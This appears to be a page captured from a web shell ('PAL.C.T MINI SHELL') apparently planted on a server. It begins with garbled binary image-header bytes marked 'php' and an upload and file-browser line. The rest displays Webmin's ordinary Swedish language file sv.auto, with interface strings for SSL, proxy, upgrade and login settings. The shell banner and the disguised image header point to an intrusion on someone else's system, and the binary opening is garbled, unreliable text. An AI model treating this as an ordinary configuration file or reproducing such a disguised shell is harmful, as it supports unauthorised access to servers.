‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/webmin/lang/
upload
files >> //usr/libexec/webmin/webmin/lang/sv.auto

index_version=Webmin $1
index_boot=Börja vid starttid
index_bootmsg=Ändra det hĂ€r alternativet för att kontrollera om Webmin startas vid starttid eller inte. Om det för nĂ€rvarande inte startas vid start och Ja vĂ€ljs, skapas ett nytt init-skript.
index_inetd=Eftersom Webmin för nÀrvarande drivs av <tt>inetd</tt>, vill du förmodligen inte aktivera det hÀr alternativet.
index_apache=Eftersom Webmin för nÀrvarande körs under Apache, vill du förmodligen inte aktivera det hÀr alternativet.
index_restart=Starta om Webmin
index_restartmsg=Klicka pÄ den hÀr knappen för att starta om Webmin-serverprocessen. Detta kan vara nödvÀndigt om du nyligen har uppgraderat Perl.
index_refresh=Uppdatera moduler
index_refreshmsg=Kontrollera alla Webmin-moduler för installerade servrar igen och uppdatera dem som visas i kategorin "OanvÀnda moduler".

access_libwrap=Kolla ocksÄ TCP-wrappers <tt>hosts.allow</tt> och <tt>hosts.deny</tt> -filer?
access_elibwrap=IP-Ätkomstkontroll med TCP-omslag Àr inte tillgÀnglig eftersom $1 Perl-modulen inte Àr installerad.
access_libwrapcpan=<a href='$1'>Klicka hÀr</a> för att Webmin automatiskt ska installera den saknade Perl-modulen.
access_ecidr6='$1' Àr inte en giltig IPv6-nÀtverksstorlek
access_ecidr8=IPv6-nÀtverksstorlek '$1' mÄste delas med 8
access_ehost=Det gick inte att hitta IP-adressen för '$1'
access_always=Lös vÀrdnamn pÄ varje begÀran?
access_trust=Lita pÄ fjÀrr-IP-adress frÄn proxyer?

bind_desc2=Det hÀr formulÀret kan anvÀndas för att Àndra portnumret som Webmin lyssnar pÄ, eller lÄta det bara lyssna pÄ en enda IP-adress pÄ ditt system. Du kan ocksÄ konfigurera den för att acceptera anslutningar pÄ flera portar eller lyssna pÄ flera IP-adresser. Obs - din webblÀsare kan uppmana dig att logga in igen efter att ha Àndrat port eller bindande adress.
bind_sockets=Lyssna pÄ IP och portar
bind_firewall=Öppna nya portar pĂ„ brandvĂ€ggen?
bind_sip=Bind till IP-adress
bind_sport=Lyssna pÄ porten
bind_sip1=Varje adress
bind_sip2=Endast adress ..
bind_sport0=Samma som först
bind_sport1=Speciell hamn ..
bind_listen=Lyssna pÄ sÀndningar pÄ UDP-porten
bind_none=Lyssna inte
bind_hostname=Webbservers vÀrdnamn
bind_auto=TrÀna frÄn webblÀsaren
bind_enone=Inga IP-adresser och portar att lyssna pÄ angivna
bind_eip2='$1' Àr inte en giltig IP-adress att binda till
bind_eport2='$1' Àr inte ett giltigt portnummer
bind_erestart=Ett fel uppstod nÀr Webmin startades med den nya adressen och portinstÀllningarna : $1
bind_elisten=Saknad eller ogiltig port för att lyssna pÄ UDP-sÀndningar pÄ
bind_ehostname=Saknad eller ogiltig webbserver vÀrdnamn
bind_resolv_myname=OmvÀnd lösning ansluten IP-adress?
bind_ipv6=Acceptera IPv6-anslutningar?
bind_eipv6=IPv6 kan inte aktiveras om inte $1 Perl-modulen Àr installerad
bind_redirecting=Omdirigerar till ny URL ..
bind_elsof=Ny port $1 anvÀnds redan av en annan process
bind_eonsystem=IP-adressen $1 Àr inte aktiv i det hÀr systemet och kan dÀrför inte anvÀndas
bind_maxconns=Maximalt antal samtidiga anslutningar
bind_maxconns_per_ip=Maximala samtidiga anslutningar per IP
bind_maxconns_per_net=Maximala samtidiga anslutningar per nÀtverk
bind_emaxconns=Maximala samtidiga anslutningar mÄste vara ett tal större Àn 1
bind_emaxconns_per_ip=Maximala samtidiga anslutningar per IP mÄste vara ett tal större Àn 1
bind_emaxconns_per_net=Maximala samtidiga anslutningar per nÀtverk mÄste vara ett nummer större Àn 1
bind_maxlifetime=Maximal Webmin-processlivslÀngd
bind_maxlifetime_def=ObegrÀnsat
bind_maxlifetime_secs=sekunder
bind_emaxlifetime=Maximal processlivslÀngd mÄste vara ett antal större Àn 60 sekunder

log_status=Loggar aktivt?
log_clf=AnvÀnd kombinerat loggformat (inklusive referent och anvÀndaragent)?
log_clear2=Tydliga loggfiler?
log_period=Ja, varje $1 timmar
log_forusers=AnvÀndare att logga in Webmin-ÄtgÀrder för
log_inmods=Moduler för att logga in Webmin-ÄtgÀrder i
log_global=&lt;Globala ÄtgÀrder&gt;
log_sched=Logga schemalagda funktioner?
log_fullfiles=Spela in alla Àndrade filer före ÄtgÀrder, för Äteruppspelning?
log_perms=Behörigheter för loggfiler
log_eperms=Saknade eller ogiltiga oktala behörigheter (som 755)
log_syslog=Loggar du ocksÄ Webmin-ÄtgÀrder till syslog?
log_login=Inkludera Webmin-inloggningar och utloggningar i handlingsloggen?
log_email=Skicka inloggade ÄtgÀrder via e-post till
log_emailnone=Skicka inte
log_inmodsemail=Skicka e-post för ÄtgÀrder i

proxy_user=AnvÀndarnamn för proxy
proxy_pass=Lösenord för proxy
proxy_ehttp2=HTTP-proxyservern mÄste anges som en URL, till exempel $1
proxy_eftp2=FTP-proxyservern mÄste anges som en URL, som $1
proxy_bind=KÀlla-IP-adress för HTTP-anslutningar
proxy_ebind=IP-adress saknas eller ogiltig
proxy_osdn=Föredragen OSDN-spegel för nedladdningar
proxy_mirrordef=&lt;Standard (LÄt Sourceforge bestÀmma)&gt;
proxy_mirrordef2=Standard (LÄt Sourceforge bestÀmma)
proxy_other=Övrig ..
proxy_eother=OSDN-spegelkod saknas eller ogiltig
proxy_desc2=NÀr Webmin laddar ner en fil frÄn en URL som Àr vÀrd pÄ sourceforge, kommer den automatiskt att anvÀnda spegelplatsen baserat pÄ ditt val nedan, dÀr det Àr möjligt.
proxy_header2=Ladda ner webbplatser
proxy_cache=Cache nedladdade filer?
proxy_cache1=Nej
proxy_cache0=Ja, i cache av storlek
proxy_ecache=Saknad eller ogiltig cachestorlek
proxy_daysmax=Maximal tid att cache-filer
proxy_daysdef=Evigt
proxy_days=dagar
proxy_edays=Det maximala antalet dagar saknas eller ogiltigt för att cache-filer
proxy_mods=Gör cachning i moduler
proxy_mods0=Alla moduler
proxy_mods1=Endast vald. ..
proxy_mods2=Alla utom valda ..
proxy_emods=Inga moduler valda
proxy_clear=Rensa cache
proxy_cacheb=Hantera cachade URL: er
proxy_cachebdesc=Klicka pÄ den hÀr knappen för att söka efter och hantera webbadresser som cache-lagras för nedladdning av Webmin.
proxy_cleardesc=Klicka pÄ den hÀr knappen för att ta bort alla $1 cachade URL: er nedladdade av Webmin, sÄ att framtida nedladdningar görs direkt frÄn HTTP-ursprungsservern. $2 av diskutrymme kommer att frigöras.
proxy_return=proxyservrar och nedladdningar
proxy_tabproxy=proxy
proxy_tabdown=Laddar ner
proxy_fallback=Testa direktförfrÄgan om proxy Àr nere?

ui_rgb=<font color=#ff0000>RR</font> <font color=#00ff00>GG</font> <font color=#0000ff>BB</font> hex color
ui_sysinfo3=Ingenstans
ui_sysinfo4=I stÀllet för webblÀsartitel
ui_ergb=Ogiltigt hexidecimalt fÀrgvÀrde för '$1'
ui_feedback=Skicka feedback till
ui_feedbackmode=Vill du skicka feedback?
ui_nice_size_type=AnvÀnd binÀra mÄttenheter (KiB, MiB, GiB snarare Àn KB, MB, GB)
ui_feednocc=Endast för adress ovan
ui_hostnamemode=VĂ€rdnamn som ska visas i Webmin
ui_hnm0=Riktigt vÀrdnamn
ui_hnm1=VÀrdnamn frÄn URL
ui_hnm2=DomÀnnamn frÄn URL
ui_hnm3=Annat namn ..
ui_feedbackconfig=LÄt alla anvÀndare ta med <br>-konfiguration i feedback?
ui_width=HjÀlpfönsterbredd
ui_height=HjÀlp fönsterhöjd
ui_ewidth=Saknad eller ogiltig hjÀlpfönsterbredd
ui_eheight=Saknad eller ogiltig hjÀlpfönsterhöjd
ui_sizefile=FilvÀljare storlek
ui_sizeuser=AnvÀndarvÀljare storlek
ui_sizeusers=Flera anvÀndare vÀljer storlek
ui_sizedate=Datumvalstorlek
ui_sizemodule=ModulvÀljare storlek
ui_sizemodules=VÀljarstorlek för flera moduler
ui_edbwidth=Manglande eller ogiltig val av fönsterbredd
ui_edbheight=Saknad eller ogiltig val av fönsterhöjd
ui_showlogin=Förbereda anvÀndarnamn till sidtitlar?
ui_showhost=Förbereda vÀrdnamn till sidtitlar?
ui_dateformat=Format för visade datum
ui_dateformat_dd/mon/yyyy=dd/mÄn/ÄÄÄÄ (dvs. 16/sep/2001)
ui_dateformat_dd/mm/yyyy=dd/mm/ÄÄÄÄ (dvs. 16/09/2001)
ui_dateformat_mm/dd/yyyy=mm/dd/ÄÄÄÄ (dvs. 09/16/2001)
ui_dateformat_yyyy/mm/dd=ÄÄÄÄ/mm/dd (dvs. 2001/09/16)
ui_ehostnamedisplay=Saknar eller ogiltigt visningsvÀrdnamn

mods_installsource=Installera frÄn
mods_grantto=Ge Ätkomst till
mods_standard=Standardmodul frÄn <a href='$1' target=_new>www.webmin.com</a>
mods_standard2=Standardmodul
mods_third=Tredjepartsmodul frÄn
mods_thsel=VĂ€lj ..
mods_nodeps=Ignorera beroenden?
mods_nodeps2=Ignorera modulberoenden nÀr du tar bort
mods_grant2=Ge endast Ätkomst till anvÀndare och grupper :
mods_grant1=Ge Ätkomst till alla Webmin-anvÀndare
mods_checksig=Kontrollera signaturfilen för nedladdade moduler?
mods_ccat=Tilldela kategori
mods_csame=Samma som original
mods_creset=ÅterstĂ€lla konfigurationen till standard?
mods_eroot=Webmin-moduler kan inte installeras eller hanteras nÀr Webmin-koden delas med ett annat system, till exempel nÀr den körs i en zon eller monteras via NFS.
mods_desc4=Installerade moduler kan exporteras som en wbm.gz-fil med hjÀlp av formulÀret nedan. En modulfil kan sedan installeras pÄ ett annat system som kör Webmin.
mods_header4=Modul exportalternativ
mods_exportmods=Moduler att exportera
mods_exportto=Exportera till
mods_exportfile=Fil pÄ servern $1
mods_exportshow=Ladda ner i webblÀsaren
mods_export=Exportera moduler
mods_exportok=Exportera valda moduler
mods_return=moduler form
mods_tabinstall=Installera
mods_tabclone=Klona
mods_tabdelete=Radera
mods_tabexport=Exportera

install_enotar=Kommandot <tt>tar</tt>, som behövs för att extrahera Webmin-moduler, hittades inte pÄ ditt system
install_eusermin=Modul $1 Àr för Usermin, inte Webmin
install_edep2=Modul $1 krÀver Ätminstone version $3 av modul $2
install_eperldep=Modul $1 krÀver Perl-modul $2. Du kan dock ha Webmin <a href='$3'>ladda ner och installera</a> Perl-modulen för dig.
install_line2=<a href='$5'>$1</a> i $2 ($3 kB) under kategori $4
install_line3=$1 i $2 ($3 kB), dold frÄn vyn
install_ebunzip=Filen bzipped, men kommandot $1 hittades inte pÄ ditt system
install_ebunzip2=Det gick inte att bunzip-fil : $1
install_cat=Under kategori $1.
install_eneither=RPM innehÄller inte en webbminmodul eller ett tema
install_err4=Det gick inte att installera standardmodulen
install_emissing=Den angivna modulen finns inte

delete_desc2=$1 i $2 ($3 kB)
delete_rusure=Är du sĂ€ker pĂ„ att du vill ta bort modulerna $2? $1 kB filer kommer att raderas för alltid.
delete_rusure2=Är du sĂ€ker pĂ„ att du vill ta bort temat $2? $1 kB filer kommer att raderas för alltid.
delete_rusure3=Är du sĂ€ker pĂ„ att du vill ta bort modulklon (er) $2?
delete_acls=Ta bort frÄn anvÀndare och ÄterstÀlla instÀllningar för Ätkomstkontroll?
delete_enone=Inga moduler valda

os_desc3=Den hÀr sidan visar operativsystemet som upptÀckts av Webmin vid installationstiden och systemet som för nÀrvarande upptÀcks. Om de Àr olika kan du vÀlja att uppdatera Webmins OS-information, vilket kan vara nödvÀndigt om du nyligen har uppgraderat.
os_webmin=Operativsystem enligt Webmin
os_iwebmin=Intern OS-kod som anvÀnds av Webmin
os_detect=UpptÀckt operativsystem
os_cannot=Kan inte upptÀcka OS och version
os_update=Uppdatera Webmin för att anvÀnda detekterade operativsystem
os_syspath=Inkludera systemets egen sökvÀg?
os_perllib=Extra Perl-biblioteksvÀgar
os_envs=Ytterligare miljövariabler
os_name=Variabelnamn
os_value=VĂ€rde
os_eversion=Saknas operativsystemversion
os_eiversion=Saknas intern version av operativsystemet
os_incorrect=Operativsystemet $1 har uppgraderats till version $2
os_release_notes=Release notes
os_fix=Uppdatera upptÀckt operativsystem
os_usermin=Uppdatera ocksÄ Usermin OS

lang_accept=AnvÀnd sprÄk som anges av webblÀsaren?
lang_charset=TeckenuppsÀttning för HTML-sidor
lang_chardef=BestÀms av sprÄk
lang_charover=Tvinga teckenuppsÀttning
lang_err=Det gick inte att spara sprÄk
lang_echarset=TeckenuppsÀttning saknas eller ogiltigt

ssl_essl=Net::SSLeay perl-modulen verkar inte vara installerad pÄ ditt system. För att installera OpenSSL-biblioteket och Net::SSLeay, följ <a href='$1'>dessa instruktioner</a> frÄn Webmin-webbplatsen.
ssl_cpan=Alternativt kan du lÄta Webmin <a href='$1'>ladda ner och installera</a> den nödvÀndiga Net::SSLeay Perl-modulen för dig.
ssl_emessage=Felmeddelandet frÄn Perl var : $1
ssl_on=Aktivera SSL?
ssl_key=Privat nyckelfil
ssl_cert=Certifikatfil
ssl_cert_def=Samma fil som privat nyckel
ssl_cert_oth=Separat fil
ssl_redirect=Omdirigera icke-SSL-förfrÄgningar till SSL-lÀge?
ssl_deny=SSL-protokollversioner att avvisa
ssl_compression=TillÄt komprimerade SSL-anslutningar?
ssl_honorcipherorder=Tvinga anvÀndning av serverdefinierad chifferordning?
ssl_extracas=Ytterligare certifikatfiler <br> (för kedjade certifikat)
ssl_extracasdef=Samma som globala SSL-instÀllningar
ssl_extracasnone=Inget för denna IP-adress
ssl_extracasbelow=Anges nedan ..
ssl_err=Det gick inte att spara SSL-alternativ
ssl_ekey=Den privata nyckelfilen för SSL $1 finns inte
ssl_ekey2=Den privata nyckelfilen för SSL $1 innehÄller inte en PEM-formatnyckel
ssl_ecert=SSL-certifikatfilen $1 finns inte
ssl_ecert2=SSL-certifikatfilen $1 innehÄller inte ett PEM-formatcertifikat
ssl_newkey=Detta formulÀr kan anvÀndas för att skapa en ny SSL-nyckel och certifikat för din Webmin-server.
ssl_newcsr=Detta formulÀr kan anvÀndas för att skapa en ny SSL-nyckel och certifikatsigneringsbegÀran (CSR) för din Webmin-server. CSR mÄste undertecknas av en certifikatutfÀrdare (CA) innan den kan anvÀndas.
ssl_hole=Eftersom du för nÀrvarande anvÀnder den standard Webmin SSL-nyckel som alla har tillgÄng till bör du generera en ny nyckel omedelbart. Annars Àr din SSL-anslutning inte sÀker!
ssl_header1=Skapa SSL-nyckel
ssl_header2=Skapa SSL CSR
ssl_create=Skapa nu
ssl_cn=Servernamn
ssl_all=Varje vÀrdnamn
ssl_newfile=Skriv nyckel till fil
ssl_csrfile=Skriv CSR till fil
ssl_usenew=AnvÀnd ny nyckel omedelbart?
ssl_size=SSL-nyckelstorlek
ssl_custom=Anpassad storlek
ssl_bits=bitar
ssl_eextraca=Ytterligare certifikatfil '$1' finns inte
ssl_days=Dagar före utgÄngen
ssl_ipkeys=Detta avsnitt visar ytterligare SSL-certifikat som kommer att anvÀndas för anslutningar till specifika IP-adresser.
ssl_ips=IP-adresser och domÀnnamn
ssl_ipkeynone=Inga IP-specifika SSL-nycklar har definierats Àn.
ssl_addipkey=LĂ€gg till en ny IP-specifik SSL-nyckel.
ssl_return=SSL-nycklar
ssl_version=SSL-protokollversion
ssl_no2=TillÄt webblÀsare i SSL version 2?
ssl_cipher_list=TillÄtna SSL-chiffer
ssl_strong=Endast starka PCI-kompatibla cifrar
ssl_pfs=Endast starka chefer med perfekt sekretess framÄt
ssl_clist=Listade cifrar
ssl_ecipher_list=Saknad eller ogiltig chifferlista - mĂ„ste vara <tt>HÖG: -SSLv2: -aNULL</tt>
ssl_auto=UpptÀck automatiskt
ssl_eversion=Versionsnummer saknas eller ogiltigt
ssl_edhparams=Det gick inte att generera PFS DH-params-fil : $1
ssl_epfsversion=PFS krÀver Net::SSLeay version $2, men det hÀr systemet har bara version $1
ssl_saveheader=Ladda upp befintlig nyckel
ssl_privkey=Privat nyckeltekst
ssl_fromcsr=Den hÀr privata nyckeln genererades med fliken <b>Certificate Signing Request</b>. Du bör ange certifikatet nedan som levererades av din CA som svar pÄ CSR.
ssl_privcert=Certifikattext
ssl_privchain=Kedjat certifikattext
ssl_nochain=Inget kedjat certifikat
ssl_leavechain=AnvÀnd befintligt kedjat certifikat
ssl_upload=Eller frÄn överföringsfil
ssl_same=Kombinerad med privat nyckel
ssl_below=Anges nedan ..
ssl_savekey=Detta formulÀr lÄter dig ladda upp en befintlig PL-format SSL-nyckel och certifikat för din Webmin-server att anvÀnda.
ssl_tabssl=SSL-instÀllningar
ssl_tabips=Per-IP-certifikat
ssl_tabcreate=SjÀlvsignerat certifikat
ssl_tabcsr=CertifikatssigneringsbegÀran
ssl_tabupload=Ladda upp certifikat
ssl_tabcurrent=Aktuellt certifikat
ssl_tablets=LÄt oss kryptera
ssl_cheader=Detaljer om aktuellt certifikat
ssl_typeself=SjÀlvsignerade
ssl_typereal=Signerad av CA
ssl_download=Ladda ner certifikat
ssl_pem=PEM-format
ssl_pkcs12=PKCS12-format
ssl_current=Det hÀr avsnittet visar detaljerna för det aktuella Webmin SSL-certifikatet och tillÄter att det laddas ner sÄ att det kan accepteras av din webblÀsare.
ssl_edownload=Det gick inte att extrahera PEM-data frÄn certifikatet
ssl_csralready=Visa senaste nyckel och CSR ..
ssl_already1=Tidigare genererad privat nyckel :
ssl_already2=Tidigare genererad begÀran om certifikatsignering :
ssl_letsdesc=Let's Encrypt Àr en gratis, automatiserad och öppen certifikatutfÀrdare som kan anvÀndas för att generera ett SSL-certifikat för anvÀndning av Webmin.
ssl_letserr=TyvÀrr kan Let's Encrypt inte anvÀndas pÄ ditt system: $1.
ssl_letserr2=Alternativt kan du kontrollera sidan <a href='$1'>modulkonfiguration</a> för att se till att du anvÀnder rÀtt sökvÀg till kommandot <tt>letsencrypt</tt>.
ssl_letsdesc2=Denna sida kan anvÀndas för att begÀra ett nytt certifikat, som kommer att skriva över alla andra som för nÀrvarande har konfigurerats i Webmin. Let's Encrypt-tjÀnsten krÀver dock att ditt Àgande av certifikatdomÀnen valideras genom att kontrollera att det hÀr systemet Àr vÀrd för webbplatsen för domÀnen. Detta görs genom att placera en liten tillfÀllig fil i webbplatsens dokumentkatalog.
ssl_letsheader=Alternativ för nytt SSL-certifikat
ssl_letsdoms=VÀrdnamn för certifikat
ssl_webroot=Rootkatalog för webbplats för valideringsfil
ssl_webroot0=Apache virtuell vÀrd som matchar vÀrdnamn
ssl_webroot1=En annan virtuell Apache-vÀrd
ssl_webroot2=Annan katalog
ssl_webroot3=AnvÀnd DNS-domÀner för validering
ssl_letsok=BegÀr certifikat
ssl_letsonly=Uppdatera bara förnyelse
ssl_usewebmin=Kopiera ny nyckel och certifikat till Webmin?
ssl_letsrenew=MÄnader mellan automatisk förnyelse
ssl_letsnotrenew=Förny endast manuellt
ssl_staging=LÄt oss kryptera servern
ssl_staging0=Verklig
ssl_staging1=IscensÀttning (endast test)

newkey_err=Det gick inte att skapa SSL-nyckel
newkey_ecn=Saknat eller ogiltigt servernamn
newkey_ecns=Inga servernamn anges
newkey_efile=Saknar nyckelfilnamn
newkey_title=Generera nyckel
newkey_ecmd=SSL-kommandot $1 hittades inte pÄ ditt system. Antingen Àr den inte installerad eller sÄ Àr <a href='$2'>Webmin-modulkonfigurationen</a> felaktig.
newkey_essl=Ett fel uppstod vid generering av en ny nyckel :
newkey_ecat=Ett fel intrÀffade med att skriva till den nya nyckelfilen :
newkey_ok=Följande SSL-nyckel genererades :
newkey_esize=Saknad eller ogiltig nyckelstorlek
newkey_edays=Saknas eller ogiltigt antal dagar före utgÄngen
newkey_ecountry=Landskoden mÄste vara tvÄ bokstÀver

newcsr_err=Det gick inte att skapa SSL CSR
newcsr_efile=Saknas CSR-filnamn
newcsr_title=Generera CSR
newcsr_ok=Följande SSL-certifikatbegÀran lyckades genereras :
newcsr_ok2=Denna CSR mÄste skickas till en signeringsmyndighet som kommer att returnera ett signerat certifikat. Detta kan installeras med nyckeln ovan med hjÀlp av fliken <b>Uppladdningscertifikat</b>.

startpage_intro2=PÄ denna sida kan du kontrollera utseendet pÄ huvudmenyn pÄ Webmin. Vissa alternativ kan bara vara effektiva nÀr du anvÀnder standardtema.
startpage_nohost=Visa version, vÀrdnamn och operativsystem i titel?
startpage_gotonone=&lt;Ingen&gt;
startpage_gotomodule=GĂ„ alltid till modulen efter inloggning
startpage_webminup=Visa uppdateringar av Webmin pÄ sidan Systeminformation?
startpage_moduleup=Visa moduluppdateringar pÄ sidan Systeminformation?

upgrade_descdeb=Detta formulÀr lÄter dig uppgradera hela Webmin-installationen till en ny version genom att uppgradera Debian-paketet. Du kan installera frÄn en lokal.deb-fil, en uppladdad fil eller frÄn den senaste versionen pÄ <a href=http://www.webmin.com/>www.webmin.com</a>. Precis som med en manuell uppgradering kommer alla dina konfigurationsinstÀllningar och tredjepartsmoduler att behÄllas.
upgrade_descsun-pkg=Detta formulÀr lÄter dig uppgradera hela Webmin-installationen till en ny version frÄn Solaris-paketet som levereras av Sun. Du kan installera frÄn en lokal Solaris-paketfil eller en uppladdad fil. De senaste paketen finns pÄ <a href=http://www.sun.com/bigadmin/content/webmin/>http://www.sun.com/bigadmin/content/webmin/</a>. Precis som med en manuell uppgradering kommer alla dina konfigurationsinstÀllningar och tredjepartsmoduler att behÄllas.
upgrade_descgentoo=Detta formulÀr lÄter dig uppgradera hela Webmin-installationen till en ny version genom att ta bort det nuvarande Gentoo Emerge-paketet och installera en ny. Du kan installera frÄn en lokal Gentoo-paketfil, en uppladdad fil eller frÄn den senaste versionen i Emerge-arkivet. Precis som med en manuell uppgradering kommer alla dina konfigurationsinstÀllningar och tredjepartsmoduler att behÄllas.
upgrade_url=FrÄn FTP eller HTTP URL
upgrade_emerge=Senaste versionen frÄn Emerge repository
upgrade_delete=Radera den gamla versionens katalog efter uppgradering?
upgrade_err4=Det gick inte att uppgradera frÄn Emerge-lagret
upgrade_err5=Det gick inte att uppgradera frÄn URL $1
upgrade_eurl=Saknad eller ogiltig URL
upgrade_elatest=Du kör redan den senaste versionen av Webmin
upgrade_edeb=Inte en giltig Webmin Debian-paketfil
upgrade_egzip=Det gick inte att skjuta filen : $1
upgrade_euntar=Det gick inte att ta bort filen : $1
upgrade_setupdeb=Kör DPKG för att uppgradera Webmin.. VÀnta en stund tills den Àr klar innan du fortsÀtter.
upgrade_ezip=Webmins uppgraderingsfunktion fungerar för nÀrvarande inte nÀr du har installerat pÄ Windows. Uppgradera manuellt istÀllet.
upgrade_eportage=Webmins uppgraderingsfunktion fungerar för nÀrvarande inte nÀr du har installerat frÄn ett Portage-paket. Uppgradera med hjÀlp av Portage-verktygen istÀllet.
upgrade_eusermin=Filen Àr Usermin-version $1, inte en Webmin-uppdatering.
upgrade_updates=Det finns $1 uppdateringar för den hÀr nya versionen av Webmin. <a href='$2'>Klicka hÀr</a> för att automatiskt ladda ner och installera dem nu.
upgrade_epackage=Inte ett giltigt Solaris-paket
upgrade_ewpackage=Inte ett giltigt Solaris-paket för Webmin
upgrade_egentoo=Inte ett giltigt Gentoo-paket med Webmin
upgrade_eupdates=Det gick inte att ladda ner lista med uppdateringar : $1
upgrade_echecksig=RPM-signaturverifiering misslyckades : $1
upgrade_nosig=Ingen paketsignaturverifiering gjord - kontroll av tar.gz-paket Àr endast möjlig vid uppgradering frÄn www.webmin.com.
upgrade_sig=Kontrollera GnuPG-signatur pÄ paketet?
upgrade_force=Uppgradera Àven om den nya versionen Àr densamma eller Àldre?
upgrade_disc=Koppla bort alla andra anvÀndare?
upgrade_edownsig=Det gick inte att ladda ner signatur : $1
upgrade_everify2=Paketet har signatur frÄn $1, men det Àr inte giltigt
upgrade_everify3=Offentlig nyckel med ID $1 Àr inte tillgÀnglig för verifiering
upgrade_everify4=Det gick inte att verifiera signaturen : $1
upgrade_sigok=Paketsignatur har verifierats.
upgrade_nocheck=Ingen paketsignaturverifiering har gjorts.
upgrade_only=Installera inte raderade eller nya moduler igen?
upgrade_eroot=Webmin kan inte uppgraderas nÀr dess kod delas med ett annat system, till exempel nÀr den körs inom en zon eller monteras via NFS.
upgrade_tabupgrade=Uppgradera Webmin
upgrade_tabgrants=Nya modulbidrag
upgrade_tabupdate=Uppdatera moduler
upgrade_tabsched=Schemalagd uppdatering
upgrade_src=Uppgradera Webmin frÄn
upgrade_opts=Uppgraderingsalternativ

newmod_desc=NÀr Webmin uppgraderas beviljas eventuella nya moduler i den nya versionen till en eller flera anvÀndare. Detta formulÀr lÄter dig stÀlla in anvÀndare som fÄr nya moduler. Den hÀr instÀllningen kommer att gÀlla vid uppgradering pÄ kommandoraden eller med formen ovan.
newmod_header=Nya modulbidrag
newmod_def=Standardbeteende - ge nya moduler till <tt>root</tt> eller <tt>admin</tt>
newmod_users=Ge nya moduler till :

update_desc1=Det hÀr formulÀret lÄter dig uppgradera Webmin-moduler som har visat sig innehÄlla buggar eller sÀkerhetshÄl frÄn sidan <a href=http://www.webmin.com/updates.html>Webmin-uppdateringar</a> eller frÄn en annan kÀlla. Detta kommer att jÀmföra de för nÀrvarande installerade modulerna med de som Àr tillgÀngliga för uppdatering och automatiskt ladda ner och installera alla moduler som Àr förÄldrade.
update_header1=Uppdatera moduler nu
update_header2=Uppdatera moduler enligt schema
update_webmin=Uppdatering frÄn www.webmin.com
update_other=Uppdatering frÄn andra kÀllor ..
update_show=Visa bara vilka moduler som skulle uppdateras
update_missing=Installera moduler som för nÀrvarande inte Àr installerade
update_third=Uppdatera icke-kÀrnmoduler ocksÄ
update_checksig=Kontrollera underskrifter pÄ förvar utanför Webmin
update_quiet=Rapportera endast nÀr en uppdatering Àr klar
update_ok=Uppdatera moduler
update_email=E-postuppdateringsrapport till
update_user=Logga in för att uppdatera servern
update_pass=Lösenord för uppdateringsserver
update_enabled=Schemalagd uppdatering för nÀrvarande aktiverad
update_apply=Spara och applicera
update_sched2=Uppdatera moduler pÄ $1:$2 varje $3 dagar
update_none=Inga Webmin-uppdateringar för den hÀr versionen.
update_failed=Det gick inte att installera modulen : $1
update_desc2=Detta formulĂ€r Ă€r för att schemalĂ€gga den automatiska uppdateringen av Webmin-moduler som innehĂ„ller buggar eller sĂ€kerhetshĂ„l frĂ„n sidan <a href=http://www.webmin.com/updates.html>Webmin-uppdateringar</a> eller frĂ„n en annan kĂ€lla. Även om den hĂ€r tjĂ€nsten Ă€r anvĂ€ndbar bör du vara försiktig med att anvĂ€nda den eftersom den kan göra det möjligt för angripare att ta över ditt system om uppdateringsservern nĂ„gonsin kompromitterades.
update_enosig=Det gick inte att ladda ner signaturfilen för uppdateringar : $1
update_ebadsig=Uppdateringens signaturkontroll misslyckades : $1
update_enomodsig=Det gick inte att ladda ner signaturfilen för modulen : $1
update_ebadmodsig=Kontroll av modulens signatur misslyckades : $1
update_src=Uppgradera moduler frÄn
update_opts=Moduluppdateringsalternativ

ca_alt=Ytterligare domÀner
ca_city=Stad eller ort
ca_issuer_cn=Emittentens namn
ca_issuer_o=Emittentorganisation
ca_issuer_email=Emittentens e-postadress
ca_type=Certifikattyp
ca_notafter=Giltig till

session_ptimeout=Lösenord timeouts
session_pblock=Misslyckade inloggningsblock
session_blockuser=Blockera anvÀndare med mer Àn $1 misslyckade inloggningar under $2 sekunder.
session_syslog3=Logga in fel till <tt>syslog</tt>?
session_stype=Autentiseringstyp
session_sopts=Autentiseringsalternativ
session_local=Lokal autentisering
session_logouttime=Automatisk utloggning efter $1 minuter av inaktivitet
session_eblockuser_time=Saknad eller ogiltig anvÀndarblockeringstid
session_eblockuser_failures=Saknade eller ogiltiga anvÀndarblockeringsinloggningar
session_remember=Erbjuder du att komma ihÄg inloggning permanent?
session_ip=Vill du begrÀnsa sessioner till samma klient-IP-adress?
session_hostname=Visa vÀrdnamn pÄ inloggningsskÀrmen?
session_utmp=Spela in inloggningar och utloggningar i <tt>utmp</tt>?
session_realname=Visa riktigt vÀrdnamn istÀllet för namn frÄn URL?
session_pam=LösenordskÀlla
session_pamon=AnvÀnd PAM för Unix-autentisering, om tillgÀnglig
session_pamoff=AnvÀnd aldrig PAM för Unix-autentisering
session_pfile=Om PAM inte Àr tillgÀngligt eller inaktiverat, lÀs anvÀndare och lösenord frÄn filen $1 kolumner $2 och $3
session_popts=Lösenordalternativ
session_pamconv=Stödja fullstÀndiga PAM-konversationer?
session_pamend=Vidarebefordra PAM-status till andra moduler?
session_cmddef=Ändrat lösenordsĂ€ndring
session_cmddef1=Ändra lösenord som löpt ut via PAM
session_cmddef0=Ändra lösenord med kommando:
session_ecmd=Saknar eller ogiltigt kommando för lösenordsÀndring
session_epasswd_file=Ogiltig unix-anvÀndarefil
session_epasswd_uindex=Saknar eller ogiltigt Unix-anvÀndarnamnindex
session_epasswd_pindex=Saknar eller ogiltigt Unix-lösenordsindex
session_banner=Förinloggningsbanner
session_banner1=Ingen förinloggningssida
session_banner0=Visa förinloggningsfil
session_ebanner=Saknad eller ogiltig förinloggningsfil
